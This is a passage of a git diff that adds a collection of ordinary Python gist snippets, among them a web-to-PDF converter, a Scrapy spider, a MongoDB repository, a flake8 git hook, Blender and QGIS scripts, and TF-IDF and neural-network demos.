+seqiter = SeqIO.parse(open(sys.argv[1]), 'fasta')                                    
+SeqIO.write((seq for seq in seqiter if seq.id in wanted), sys.stdout, "fasta")
\ No newline at end of file
diff --git a/hard-gists/477a9dcd198439ef2def/._snippet.py b/hard-gists/477a9dcd198439ef2def/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/477a9dcd198439ef2def/._snippet.py differ
diff --git a/hard-gists/477a9dcd198439ef2def/snippet.py b/hard-gists/477a9dcd198439ef2def/snippet.py
new file mode 100644
index 00000000..66180f36
--- /dev/null
+++ b/hard-gists/477a9dcd198439ef2def/snippet.py
@@ -0,0 +1,51 @@
+#!/usr/bin/env python2
+# -*- coding: utf-8 -*-
+"""
+USAGE
+
+    python2 web2pdf.py <URL>
+
+DESCRIPTION
+
+    Extract main content from a web page and convert it to PDF.
+
+DEPENDENCIES
+
+    python-readability <https://github.com/buriy/python-readability>
+    pandoc <http://johnmacfarlane.net/pandoc/>
+"""
+
+import urllib2
+import subprocess
+import sys
+from readability.readability import Document
+
+MAIN_FONT = "DejaVu Sans"
+MONO_FONT = "Inconsolatazi4"
+
+if len(sys.argv) < 2 or sys.argv[1] in ["--help", "-h"]:
+    print __doc__
+    exit(1)
+
+print "Fetching web page…"
+html = urllib2.urlopen(sys.argv[1]).read()
+
+document = Document(html)
+article = document.summary().encode("utf-8")
+title = document.short_title().encode("utf-8")
+
+file_name = title.replace(" ", "_").replace("/", "_")
+input_file = "/tmp/{}.html".format(file_name)
+output_file = "{}.pdf".format(file_name)
+
+with open(input_file, "w") as input_f:
+    input_f.write(article.replace(
+        "<html>", "<html><head><title>{}</title></head>".format(title), 1))
+
+print "Converting web page…"
+pandoc = subprocess.Popen(["pandoc", "--highlight-style=haddock",
+                           "--latex-engine=xelatex", "--variable",
+                           "mainfont={}".format(MAIN_FONT), "--variable",
+                           "monofont={}".format(MONO_FONT),
+                           input_file, "--output={}".format(output_file)])
+pandoc.wait()
\ No newline at end of file
diff --git a/hard-gists/478f9ba38afb1bf5f5613bfe46eb82ce/._snippet.py b/hard-gists/478f9ba38afb1bf5f5613bfe46eb82ce/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/478f9ba38afb1bf5f5613bfe46eb82ce/._snippet.py differ
diff --git a/hard-gists/478f9ba38afb1bf5f5613bfe46eb82ce/snippet.py b/hard-gists/478f9ba38afb1bf5f5613bfe46eb82ce/snippet.py
new file mode 100644
index 00000000..d708fc4f
--- /dev/null
+++ b/hard-gists/478f9ba38afb1bf5f5613bfe46eb82ce/snippet.py
@@ -0,0 +1,30 @@
+from random import choice
+from string import ascii_lowercase, ascii_uppercase, digits
+from tkinter import Tk, Entry, Button, StringVar
+
+def random_string(length):
+   return ''.join(choice(ascii_lowercase + digits + ascii_uppercase) for i in range(length))
+
+root = Tk()
+root.title('32 chars random string generator')
+
+var = StringVar()
+var.set(random_string(32))
+
+entry = Entry(root, width=40, justify='center', textvariable=var)
+entry.pack(padx=5, pady=5)
+
+def copy_callback():
+    root.clipboard_clear()
+    root.clipboard_append(var.get())
+
+def gen_callback():
+    var.set(random_string(32))
+
+button_generate = Button(root, text="Generate", command=gen_callback)
+button_generate.pack(padx=5, pady=5)
+
+button_copy = Button(root, text="Copy to clipboard", command=copy_callback)
+button_copy.pack(padx=5, pady=5)
+
+root.mainloop()
\ No newline at end of file
diff --git a/hard-gists/4792fc97f8a4094ac90d/._snippet.py b/hard-gists/4792fc97f8a4094ac90d/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4792fc97f8a4094ac90d/._snippet.py differ
diff --git a/hard-gists/4792fc97f8a4094ac90d/snippet.py b/hard-gists/4792fc97f8a4094ac90d/snippet.py
new file mode 100644
index 00000000..f0483414
--- /dev/null
+++ b/hard-gists/4792fc97f8a4094ac90d/snippet.py
@@ -0,0 +1,43 @@
+from pymongo import MongoClient
+from bson.objectid import ObjectId
+from project import Project
+
+class ProjectsRepository(object):
+    """ Repository implementing CRUD operations on projects collection in MongoDB """
+
+    def __init__(self):
+        # initializing the MongoClient, this helps to 
+        # access the MongoDB databases and collections 
+        self.client = MongoClient(host='localhost', port=27017)
+        self.database = self.client['projects']
+
+
+    def create(self, project):
+        if project is not None:
+            self.database.projects.insert(project.get_as_json())            
+        else:
+            raise Exception("Nothing to save, because project parameter is None")
+
+
+    def read(self, project_id=None):
+        if project_id is None:
+            return self.database.projects.find({})
+        else:
+            return self.database.projects.find({"_id":project_id})
+
+
+    def update(self, project):
+        if project is not None:
+            # the save() method updates the document if this has an _id property 
+            # which appears in the collection, otherwise it saves the data
+            # as a new document in the collection
+            self.database.projects.save(project.get_as_json())            
+        else:
+            raise Exception("Nothing to update, because project parameter is None")
+
+
+    def delete(self, project):
+        if project is not None:
+            self.database.projects.remove(project.get_as_json())            
+        else:
+            raise Exception("Nothing to delete, because project parameter is None")
diff --git a/hard-gists/47e1d07b136c316bfb33c880ca910e8c/._snippet.py b/hard-gists/47e1d07b136c316bfb33c880ca910e8c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/47e1d07b136c316bfb33c880ca910e8c/._snippet.py differ
diff --git a/hard-gists/47e1d07b136c316bfb33c880ca910e8c/snippet.py b/hard-gists/47e1d07b136c316bfb33c880ca910e8c/snippet.py
new file mode 100644
index 00000000..4c4cf827
--- /dev/null
+++ b/hard-gists/47e1d07b136c316bfb33c880ca910e8c/snippet.py
@@ -0,0 +1,65 @@
+#!/usr/bin/env python
+import sys, subprocess, collections
+from flake8.hooks import git_hook, get_git_param
+
+# `get_git_param` will retrieve configuration from your local git config and
+# then fall back to using the environment variables that the hook has always
+# supported.
+# For example, to set the complexity, you'll need to do:
+#   git config flake8.complexity 10
+COMPLEXITY = get_git_param('FLAKE8_COMPLEXITY', 10)
+STRICT = get_git_param('FLAKE8_STRICT', False)
+IGNORE = get_git_param('FLAKE8_IGNORE', None)
+LAZY = get_git_param('FLAKE8_LAZY', False)
+
+ExecutionResult = collections.namedtuple(
+    'ExecutionResult',
+    'status, stdout, stderr'
+)
+
+def _execute(cmd):
+    process = subprocess.Popen(
+        cmd,
+        stdout=subprocess.PIPE,
+        stderr=subprocess.PIPE
+    )
+    stdout, stderr = process.communicate()
+    status = process.poll()
+    return ExecutionResult(status, stdout, stderr)
+
+def _current_commit():
+    if _execute('git rev-parse --verify HEAD'.split()).status:
+        return '4b825dc642cb6eb9a060e54bf8d69288fbee4904'
+    else:
+        return 'HEAD'
+
+def find_auto_migrations():
+    """ Returns a list of files about to be commited. """
+    diff_index_cmd = 'git diff-index --cached %s' % _current_commit()
+    output = _execute(diff_index_cmd.split())
+    if not output.status:
+        print output.stderr
+    results = output.stdout.split('\n')
+    has_errors = False
+    for result in results:
+        if result != '':
+            result = result.split()
+            if result[4] == 'A' and 'migrations' in result[5] and 'auto' in result[5]:
+                has_errors = True
+                msg = "= WARNING: Adding migration with auto name! (%s) =" % result[5]
+                sep = "-" * len(msg)
+                print sep
+                print msg
+                print sep
+    if has_errors:
+        sys.exit(1)
+
+
+if __name__ == '__main__':
+    find_auto_migrations()
+    sys.exit(git_hook(
+        complexity=COMPLEXITY,
+        strict=STRICT,
+        ignore=IGNORE,
+        lazy=LAZY,
+    ))
\ No newline at end of file
diff --git a/hard-gists/48136d7a17387e7cf6c3/._snippet.py b/hard-gists/48136d7a17387e7cf6c3/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/48136d7a17387e7cf6c3/._snippet.py differ
diff --git a/hard-gists/48136d7a17387e7cf6c3/snippet.py b/hard-gists/48136d7a17387e7cf6c3/snippet.py
new file mode 100644
index 00000000..69e98995
--- /dev/null
+++ b/hard-gists/48136d7a17387e7cf6c3/snippet.py
@@ -0,0 +1,46 @@
+#----------------------------------------------------------
+# File photo.py - cubify a named image in project.
+# @knowuh (Noah Paessel)  http://bit.ly/photoblend
+# License: MIT ( http://opensource.org/licenses/MIT )
+#----------------------------------------------------------
+
+import bpy
+from random import uniform
+
+
+def make_material(color):
+    alpha = 1.0
+    red, green, blue, alpha = color
+    color_name = '%(red)03d_%(green)03d_%(blue)03d' % {"red": red, "green": green, "blue": blue}
+    color = bpy.data.materials.new(color_name)
+    color.use_nodes = True
+    Diffuse_BSDF = color.node_tree.nodes['Diffuse BSDF']
+    Diffuse_BSDF.inputs[0].default_value = [red, green, blue, alpha]
+    return color
+
+
+def draw_pix(x, y, col):
+    material = make_material(col)
+    r, g, b, a = col
+    size = 16 - ((r + g + b) * 4)
+    z = size
+    bpy.ops.mesh.primitive_cube_add(location=(x, y, z))
+    bpy.ops.transform.resize(value=(0.9,0.9,size))
+    new_obj = bpy.context.active_object
+    new_obj.data.materials.append(material)
+
+
+def cubify(image_name):
+    myImage = bpy.data.images[image_name]
+    width, height = myImage.size
+    for y in range(0, height):
+        for x in range(0, width):
+            block_number = (y * width) + x
+            color = []
+            for color_index in range(0, 4):
+                index = (block_number * 4) + color_index
+                color.append(myImage.pixels[index])
+            draw_pix(x * 2, y * 2, color)
+        print ("y: %(y)04d / %(height)04d" % {"y": y, "height": height})
+
+cubify('sprite.png')
\ No newline at end of file
diff --git a/hard-gists/484009/._snippet.py b/hard-gists/484009/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/484009/._snippet.py differ
diff --git a/hard-gists/484009/snippet.py b/hard-gists/484009/snippet.py
new file mode 100644
index 00000000..d911abcb
--- /dev/null
+++ b/hard-gists/484009/snippet.py
@@ -0,0 +1,78 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+# author: Rolando Espinoza La fuente
+
+from scrapy.conf import settings
+from scrapy.core import signals
+from scrapy.core.manager import scrapymanager
+from scrapy.item import Item, Field
+from scrapy.selector import HtmlXPathSelector
+from scrapy.spider import BaseSpider
+from scrapy.xlib.pydispatch import dispatcher
+
+from scrapy.contrib.loader import XPathItemLoader
+
+def connect(signal):
+    """Handy signal hook decorator"""
+    def wrapper(func):
+        dispatcher.connect(func, signal)
+        return func
+    return wrapper
+
+
+class QuestionItem(Item):
+    """Our SO Question Item"""
+    title = Field()
+    summary = Field()
+    tags = Field()
+
+    user = Field()
+    posted = Field()
+
+    votes = Field()
+    answers = Field()
+    views = Field()
+
+class MySpider(BaseSpider):
+    """Our ad-hoc spider"""
+    name = "myspider"
+    start_urls = ["http://stackoverflow.com/"]
+
+    question_list_xpath = '//div[@id="content"]//div[contains(@class, "question-summary")]'
+
+    def parse(self, response):
+        hxs = HtmlXPathSelector(response)
+
+        for qxs in hxs.select(self.question_list_xpath):
+            loader = XPathItemLoader(QuestionItem(), selector=qxs)
+            loader.add_xpath('title', './/h3/a/text()')
+            loader.add_xpath('summary', './/h3/a/@title')
+            loader.add_xpath('tags', './/a[@rel="tag"]/text()')
+            loader.add_xpath('user', './/div[@class="started"]/a[2]/text()')
+            loader.add_xpath('posted', './/div[@class="started"]/a[1]/span/@title')
+            loader.add_xpath('votes', './/div[@class="votes"]/div[1]/text()')
+            loader.add_xpath('answers', './/div[contains(@class, "answered")]/div[1]/text()')
+            loader.add_xpath('views', './/div[@class="views"]/div[1]/text()')
+
+            yield loader.load_item()
+
+def main():
+    """Install item signal and run scrapy"""
+    @connect(signals.item_passed)
+    def catch_item(sender, item, **kwargs):
+        print "Got:", item
+
+    # shut off log
+    settings.overrides['LOG_ENABLED'] = False
+
+    scrapymanager.configure()
+
+    spider = MySpider()
+    scrapymanager.queue.append_spider(spider)
+
+    print "STARTING ENGINE"
+    scrapymanager.start()
+    print "ENGINE STOPPED"
+
+if __name__ == '__main__':
+    main()
\ No newline at end of file
diff --git a/hard-gists/485977/._snippet.py b/hard-gists/485977/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/485977/._snippet.py differ
diff --git a/hard-gists/485977/snippet.py b/hard-gists/485977/snippet.py
new file mode 100644
index 00000000..f8c96a2c
--- /dev/null
+++ b/hard-gists/485977/snippet.py
@@ -0,0 +1,72 @@
+import lxml.etree
+def pprint(elem):
+    print lxml.etree.tostring(elem, pretty_print=True)
+
+class Bind(object):
+    def __init__(self, path, converter=None, first=False):
+        '''
+        path -- xpath to select elements
+        converter -- run result through converter
+        first -- return only first element instead of a list of elements
+        '''
+        self.path = path
+        if converter is None:
+            converter = lambda x: x
+        self.converter = converter
+        self.first = first
+
+    def __get__(self, instance, owner=None):
+        res = instance._elem.xpath(self.path)
+        if self.first:
+            return self.converter(res[0])
+        return [self.converter(r) for r in res]
+
+
+class Text(Bind):
+    '''uses converter to select text from node and set default to first element only
+    '''
+    def __init__(self, path, first=True):
+        converter = lambda x: x.text
+        Bind.__init__(self, path, converter, first=first)
+
+class Integer(Bind):
+    '''uses converter to select text from node and set default to first element only
+    '''
+    def __init__(self, path, first=True):
+        Bind.__init__(self, path, self.convert, first=first)
+
+    def convert(self, x):
+        if isinstance(x, lxml.etree._Element):
+            x = x.text
+        return int(x)
+
+import dateutil.parser
+
+test_response = '''
+<ISBNdb server_time="2010-07-21T15:56:06Z">
+    <BookList total_results="1">
+        <BookData book_id="programming_collective_intelligence" isbn="0596529325">
+            <Title>Programming collective intelligence</Title>
+            <AuthorsText>Toby Segaran</AuthorsText>
+            <PublisherText publisher_id="oreilly">O'Reilly, 2007.</PublisherText>
+        </BookData>
+    </BookList>
+</ISBNdb>
+'''
+
+
+class Data(object):
+    def __init__(self, elem):
+        self._elem = elem
+
+class Book(Data):
+    title = Bind('Title/text()', first=True) #use xpath text() to get text 
+    author = Text('AuthorsText')             #get the text via a converter
+    publisher = Text('PublisherText')
+    publisher_id = Bind('PublisherText/@publisher_id', first=True)
+
+class ISBNdb(Data):
+
+    server_time = Bind('@server_time', dateutil.parser.parse, first=True)
+    total_results = Integer('BookList/@total_results')
+    books = Bind('//BookData', Book)
diff --git a/hard-gists/486793ad61db4c1dec9d/._snippet.py b/hard-gists/486793ad61db4c1dec9d/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/486793ad61db4c1dec9d/._snippet.py differ
diff --git a/hard-gists/486793ad61db4c1dec9d/snippet.py b/hard-gists/486793ad61db4c1dec9d/snippet.py
new file mode 100644
index 00000000..eb5ebce7
--- /dev/null
+++ b/hard-gists/486793ad61db4c1dec9d/snippet.py
@@ -0,0 +1,62 @@
+# coding=utf-8
+
+# A simple demonstration of to generate a PDF using a QGIS project
+# and a QGIS layout template.
+#
+# This code is public domain, use if for any purpose you see fit.
+# Tim Sutton 2015
+
+import sys
+from qgis.core import (
+    QgsProject, QgsComposition, QgsApplication, QgsProviderRegistry)
+from qgis.gui import QgsMapCanvas, QgsLayerTreeMapCanvasBridge
+from PyQt4.QtCore import QFileInfo
+from PyQt4.QtXml import QDomDocument
+
+
+gui_flag = True
+app = QgsApplication(sys.argv, gui_flag)
+
+# Make sure QGIS_PREFIX_PATH is set in your env if needed!
+app.initQgis()
+
+# Probably you want to tweak this
+project_path = 'project.qgs'
+
+# and this
+template_path = 'template.qpt'
+
+def make_pdf():
+    canvas = QgsMapCanvas()
+    # Load our project
+    QgsProject.instance().read(QFileInfo(project_path))
+    bridge = QgsLayerTreeMapCanvasBridge(
+        QgsProject.instance().layerTreeRoot(), canvas)
+    bridge.setCanvasLayers()
+
+    template_file = file(template_path)
+    template_content = template_file.read()
+    template_file.close()
+    document = QDomDocument()
+    document.setContent(template_content)
+    composition = QgsComposition(canvas.mapSettings())
+    # You can use this to replace any string like this [key]
+    # in the template with a new value. e.g. to replace
+    # [date] pass a map like this {'date': '1 Jan 2012'}
+    substitution_map = {
+        'DATE_TIME_START': 'foo',
+        'DATE_TIME_END': 'bar'}
+    composition.loadFromTemplate(document, substitution_map)
+    # You must set the id in the template
+    map_item = composition.getComposerItemById('map')
+    map_item.setMapCanvas(canvas)
+    map_item.zoomToExtent(canvas.extent())
+    # You must set the id in the template
+    legend_item = composition.getComposerItemById('legend')
+    legend_item.updateLegend()
+    composition.refreshItems()
+    composition.exportAsPDF('report.pdf')
+    QgsProject.instance().clear()
+
+
+make_pdf()
diff --git a/hard-gists/4882342eba2b57376ed1/._snippet.py b/hard-gists/4882342eba2b57376ed1/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4882342eba2b57376ed1/._snippet.py differ
diff --git a/hard-gists/4882342eba2b57376ed1/snippet.py b/hard-gists/4882342eba2b57376ed1/snippet.py
new file mode 100644
index 00000000..a2a7a70d
--- /dev/null
+++ b/hard-gists/4882342eba2b57376ed1/snippet.py
@@ -0,0 +1,72 @@
+# Start with
+# THEANO_FLAGS='warn_float64=ignore,floatX=float64' python nntoy.py
+# until I figure out how to coerce float32 vars within nolearn.
+
+# Based on https://gist.github.com/dnouri/fe855653e9757e1ce8c4
+
+# Toy examples that demonstrate how to configure
+# nolearn.lasagne.NeuralNet and what data to send in for
+# classification problems with single and multiple classes, and
+# regression problems with and without multiple targets.
+
+from lasagne.layers import DenseLayer
+from lasagne.layers import InputLayer
+from lasagne.nonlinearities import softmax
+from lasagne.nonlinearities import tanh
+from nolearn.lasagne import NeuralNet
+from nolearn.lasagne import TrainSplit
+import numpy as np
+
+def my_make_classification(n, dim, n_classes):
+    np.random.seed(0)
+    X = np.random.normal(size=n*dim).astype(np.float32).reshape((n, dim))
+    secrets = np.random.normal(size=n_classes*dim).astype(np.float32).reshape((dim, n_classes))
+    secrets /= np.linalg.norm(secrets, axis=0) # normalize each column.
+    product = X.dot(secrets)
+    assert product.shape==(n, n_classes)
+    y = np.argmin(product, axis=1)
+    assert y.shape==(n,)
+    return X, y
+
+def my_make_regression(n, dim):
+    X = np.random.normal(size=n*dim).astype(np.float32).reshape((n, dim))
+    secret = np.random.normal(size=dim).astype(np.float32)
+    y = X.dot(secret)
+    return X, y
+
+def classify(X, y):
+    l = InputLayer(shape=(None, X.shape[1]))
+    l = DenseLayer(l, num_units=100, nonlinearity=tanh)
+    l = DenseLayer(l, num_units=len(np.unique(y)), nonlinearity=softmax)
+    net = NeuralNet(l, update_learning_rate=0.05, train_split=TrainSplit(eval_size=0.2), verbose=1)
+    net.fit(X, y)
+    print(net.score(X, y))
+
+
+def regress(X, y):
+    l = InputLayer(shape=(None, X.shape[1]))
+    l = DenseLayer(l, num_units=100, nonlinearity=tanh)
+    l = DenseLayer(l, num_units=y.shape[1], nonlinearity=None)
+    net = NeuralNet(l, regression=True, update_learning_rate=0.05, train_split=TrainSplit(eval_size=0.2), verbose=1)
+    net.fit(X, y)
+    print(net.score(X, y))
+
+
+def main():
+    # Classification with two classes:
+    X, y = my_make_classification(n=10000, dim=10, n_classes=2)
+    y = y.astype(np.int32)
+    classify(X, y)
+
+    # Classification with ten classes:
+    X, y = my_make_classification(n=10000, dim=10, n_classes=10)
+    y = y.astype(np.int32)
+    classify(X, y)
+
+    # Regression with one target:
+    X, y = my_make_regression(n=10000, dim=10)
+    y = y.reshape(-1, 1).astype(np.float32)
+    regress(X, y)
+
+if __name__ == '__main__':
+    main()
\ No newline at end of file
diff --git a/hard-gists/4893d1a05df86afbc2cf/._snippet.py b/hard-gists/4893d1a05df86afbc2cf/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4893d1a05df86afbc2cf/._snippet.py differ
diff --git a/hard-gists/4893d1a05df86afbc2cf/snippet.py b/hard-gists/4893d1a05df86afbc2cf/snippet.py
new file mode 100644
index 00000000..695fd969
--- /dev/null
+++ b/hard-gists/4893d1a05df86afbc2cf/snippet.py
@@ -0,0 +1,67 @@
+import mysql.connector as mysql
+import uuid
+import yaml
+import time
+
+filepath = "playerfiles/"
+
+conn = mysql.connect(user="", password="", 
+                       host="localhost", database="mc_global_gesuit")
+
+print("Fetching data")
+cur = conn.cursor()
+cur.execute("SELECT * FROM homes")
+homes = cur.fetchall()
+cur.execute("SELECT * FROM players")
+players = cur.fetchall()
+
+print("Processing data")
+playerfiles = {}
+
+for row in players:
+    playername = row[0]
+    playeruuid = row[1]
+    lastonline = row[2]
+    ipaddress = row[3]
+    newuuid = str(uuid.UUID(playeruuid))
+    timestamp = int(time.mktime(lastonline.timetuple()))
+    playerfiles[playername.lower()] = {
+        "uuid": newuuid, 
+        "ipAddress": ipaddress,
+        "timestamps": {"login": timestamp, "logout": timestamp*1000}
+        }
+
+for row in homes:
+    playeruuid = row[0]
+    home_name = row[1]
+    server = row[2]
+    world = row[3]
+    x = row[4]
+    y = row[5]
+    z = row[6]
+    yaw = row[7]
+    pitch = row[8]
+    
+    newuuid = str(uuid.UUID(playeruuid))
+    playername = None
+    for playerkey in playerfiles:
+        if newuuid == playerfiles[playerkey]["uuid"]:
+            playername = playerkey.lower()
+    if playername is None:
+        continue
+    if "homes" not in playerfiles[playername]:
+        playerfiles[playername]["homes"] = {}
+    playerfiles[playername]["homes"][home_name] = {
+        "world": world, 
+        "x": x, 
+        "y": y, 
+        "z": z, 
+        "yaw": yaw, 
+        "pitch": pitch}
+
+print("Dumping players")
+for playername, playerdata in playerfiles.items():
+    playerpath = filepath + playername + ".yml"
+    f = open(playerpath, "w")
+    yaml.dump(playerdata, f, default_flow_style=False)
+    f.close()
\ No newline at end of file
diff --git a/hard-gists/48b54ea4cbc7eb014308/._snippet.py b/hard-gists/48b54ea4cbc7eb014308/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/48b54ea4cbc7eb014308/._snippet.py differ
diff --git a/hard-gists/48b54ea4cbc7eb014308/snippet.py b/hard-gists/48b54ea4cbc7eb014308/snippet.py
new file mode 100644
index 00000000..f67000d4
--- /dev/null
+++ b/hard-gists/48b54ea4cbc7eb014308/snippet.py
@@ -0,0 +1,52 @@
+
+# Auto list fields from django models - from https://djangosnippets.org/snippets/2533/#c5977
+import inspect
+from django.utils.html import strip_tags
+from django.utils.encoding import force_text
+
+def process_docstring(app, what, name, obj, options, lines):
+    # This causes import errors if left outside the function
+    from django.db import models
+
+    # Only look at objects that inherit from Django's base model class
+    if inspect.isclass(obj) and issubclass(obj, models.Model):
+        # Grab the field list from the meta class
+        fields = obj._meta.get_fields()
+
+        for field in fields:
+            # Skip ManyToOneRel and ManyToManyRel fields which have no 'verbose_name' or 'help_text'
+            if not hasattr(field, 'verbose_name'):
+                continue
+
+            # Decode and strip any html out of the field's help text
+            help_text = strip_tags(force_text(field.help_text))
+
+            # Decode and capitalize the verbose name, for use if there isn't
+            # any help text
+            verbose_name = force_text(field.verbose_name).capitalize()
+
+            if help_text:
+                # Add the model field to the end of the docstring as a param
+                # using the help text as the description
+                lines.append(u':param %s: %s' % (field.attname, help_text))
+            else:
+                # Add the model field to the end of the docstring as a param
+                # using the verbose name as the description
+                lines.append(u':param %s: %s' % (field.attname, verbose_name))
+
+            # Add the field's type to the docstring
+            if isinstance(field, models.ForeignKey):
+                to = field.rel.to
+                lines.append(u':type %s: %s to :class:`~%s.%s`' % (field.attname, type(field).__name__, to.__module__, to.__name__))
+            else:
+                lines.append(u':type %s: %s' % (field.attname, type(field).__name__))
+
+    # Return the extended docstring
+    return lines
+
+def setup(app):
+    # Register the docstring processor with sphinx
+    app.connect('autodoc-process-docstring', process_docstring)
+
+# END Auto list fields from django models -
+
diff --git a/hard-gists/48c5c0124ba4e162b2e3/._snippet.py b/hard-gists/48c5c0124ba4e162b2e3/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/48c5c0124ba4e162b2e3/._snippet.py differ
diff --git a/hard-gists/48c5c0124ba4e162b2e3/snippet.py b/hard-gists/48c5c0124ba4e162b2e3/snippet.py
new file mode 100644
index 00000000..b6a6206f
--- /dev/null
+++ b/hard-gists/48c5c0124ba4e162b2e3/snippet.py
@@ -0,0 +1,84 @@
+from __future__ import division
+import string
+import math
+
+tokenize = lambda doc: doc.lower().split(" ")
+
+document_0 = "China has a strong economy that is growing at a rapid pace. However politically it differs greatly from the US Economy."
+document_1 = "At last, China seems serious about confronting an endemic problem: domestic violence and corruption."
+document_2 = "Japan's prime minister, Shinzo Abe, is working towards healing the economic turmoil in his own country for his view on the future of his people."
+document_3 = "Vladimir Putin is working hard to fix the economy in Russia as the Ruble has tumbled."
+document_4 = "What's the future of Abenomics? We asked Shinzo Abe for his views"
+document_5 = "Obama has eased sanctions on Cuba while accelerating those against the Russian Economy, even as the Ruble's value falls almost daily."
+document_6 = "Vladimir Putin is riding a horse while hunting deer. Vladimir Putin always seems so serious about things - even riding horses. Is he crazy?"
+
+all_documents = [document_0, document_1, document_2, document_3, document_4, document_5, document_6]
+
+def jaccard_similarity(query, document):
+    intersection = set(query).intersection(set(document))
+    union = set(query).union(set(document))
+    return len(intersection)/len(union)
+
+def term_frequency(term, tokenized_document):
+    return tokenized_document.count(term)
+
+def sublinear_term_frequency(term, tokenized_document):
+    count = tokenized_document.count(term)
+    if count == 0:
+        return 0
+    return 1 + math.log(count)
+
+def augmented_term_frequency(term, tokenized_document):
+    max_count = max([term_frequency(t, tokenized_document) for t in tokenized_document])
+    return (0.5 + ((0.5 * term_frequency(term, tokenized_document))/max_count))
+
+def inverse_document_frequencies(tokenized_documents):
+    idf_values = {}
+    all_tokens_set = set([item for sublist in tokenized_documents for item in sublist])
+    for tkn in all_tokens_set:
+        contains_token = map(lambda doc: tkn in doc, tokenized_documents)
+        idf_values[tkn] = 1 + math.log(len(tokenized_documents)/(sum(contains_token)))
+    return idf_values
+
+def tfidf(documents):
+    tokenized_documents = [tokenize(d) for d in documents]
+    idf = inverse_document_frequencies(tokenized_documents)
+    tfidf_documents = []
+    for document in tokenized_documents:
+        doc_tfidf = []
+        for term in idf.keys():
+            tf = sublinear_term_frequency(term, document)
+            doc_tfidf.append(tf * idf[term])
+        tfidf_documents.append(doc_tfidf)
+    return tfidf_documents
+
+#in Scikit-Learn
+from sklearn.feature_extraction.text import TfidfVectorizer
+
+sklearn_tfidf = TfidfVectorizer(norm='l2',min_df=0, use_idf=True, smooth_idf=False, sublinear_tf=True, tokenizer=tokenize)
+sklearn_representation = sklearn_tfidf.fit_transform(all_documents)
+
+
+########### END BLOG POST 1 #############
+
+def cosine_similarity(vector1, vector2):
+    dot_product = sum(p*q for p,q in zip(vector1, vector2))
+    magnitude = math.sqrt(sum([val**2 for val in vector1])) * math.sqrt(sum([val**2 for val in vector2]))
+    if not magnitude:
+        return 0
+    return dot_product/magnitude
+
+tfidf_representation = tfidf(all_documents)
+our_tfidf_comparisons = []
+for count_0, doc_0 in enumerate(tfidf_representation):
+    for count_1, doc_1 in enumerate(tfidf_representation):
+        our_tfidf_comparisons.append((cosine_similarity(doc_0, doc_1), count_0, count_1))
+
+skl_tfidf_comparisons = []
+for count_0, doc_0 in enumerate(sklearn_representation.toarray()):
+    for count_1, doc_1 in enumerate(sklearn_representation.toarray()):
+        skl_tfidf_comparisons.append((cosine_similarity(doc_0, doc_1), count_0, count_1))
+
+for x in zip(sorted(our_tfidf_comparisons, reverse = True), sorted(skl_tfidf_comparisons, reverse = True)):
+    print x
+
diff --git a/hard-gists/48d35095a414580c055b/._snippet.py b/hard-gists/48d35095a414580c055b/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/48d35095a414580c055b/._snippet.py differ
diff --git a/hard-gists/48d35095a414580c055b/snippet.py b/hard-gists/48d35095a414580c055b/snippet.py
new file mode 100644
index 00000000..9c04b9b4
--- /dev/null
+++ b/hard-gists/48d35095a414580c055b/snippet.py
@@ -0,0 +1,107 @@
+#!/usr/bin/env python
+"""
+Form a subset of the Flickr Style data, download images to dirname, and write
+Caffe ImagesDataLayer training file.
+"""
+import os
+import urllib3
+import hashlib
+import argparse
+import numpy as np
+import pandas as pd
+from skimage import io
+import multiprocessing
+from datetime import datetime
+import threading
+import Queue
+
+# Flickr returns a special image if the request is unavailable.
+MISSING_IMAGE_SHA1 = '6a92790b1c2a301c6e7ddef645dca1f53ea97ac2'
+
+example_dirname = os.path.abspath(os.path.dirname(__file__))
+caffe_dirname = os.path.abspath(os.path.join(example_dirname, '../..'))
+datetime_str = datetime.today().strftime('%Y%m%d-%H:%M:%S')
+training_dirname = 'resources/%s/' % datetime_str
+
+
+http = urllib3.PoolManager(10)
+def download_image(args_tuple):
+    "For use with multiprocessing map. Returns filename on fail."
+    url, filename = args_tuple
+    try:
+        if not os.path.exists(filename):
+            print url + ' -> ' + filename
+            # Dont redirect.
+            response = http.request('GET', url, redirect=False)
+            with open(filename, 'wb') as f:
+                f.write(response.data)
+        with open(filename) as f:
+            assert hashlib.sha1(f.read()).hexdigest() != MISSING_IMAGE_SHA1
+        test_read_image = io.imread(filename)
+        return True
+    except KeyboardInterrupt:
+        raise Exception()  # multiprocessing doesn't catch keyboard exceptions
+    except:
+        os.remove(filename)
+        return False
+
+if __name__ == '__main__':
+    parser = argparse.ArgumentParser(
+        description='Download a subset of Flickr Style to a directory')
+    parser.add_argument(
+        '-s', '--seed', type=int, default=0,
+        help="random seed")
+    parser.add_argument(
+        '-i', '--images', type=int, default=-1,
+        help="number of images to use (-1 for all [default])",
+    )
+    parser.add_argument(
+        '-w', '--workers', type=int, default=-1,
+        help="num workers used to download images. -x uses (all - x) cores [-1 default]."
+    )
+    parser.add_argument(
+        '-l', '--labels', type=int, default=0,
+        help="if set to a positive value, only sample images from the first number of labels."
+    )
+
+    args = parser.parse_args()
+    np.random.seed(args.seed)
+
+    # Read data, shuffle order, and subsample.
+    csv_filename = os.path.join(example_dirname, 'flickr_style.csv.gz')
+    df = pd.read_csv(csv_filename, index_col=0, compression='gzip')
+    df = df.iloc[np.random.permutation(df.shape[0])]
+    if args.labels > 0:
+        df = df.loc[df['label'] < args.labels]
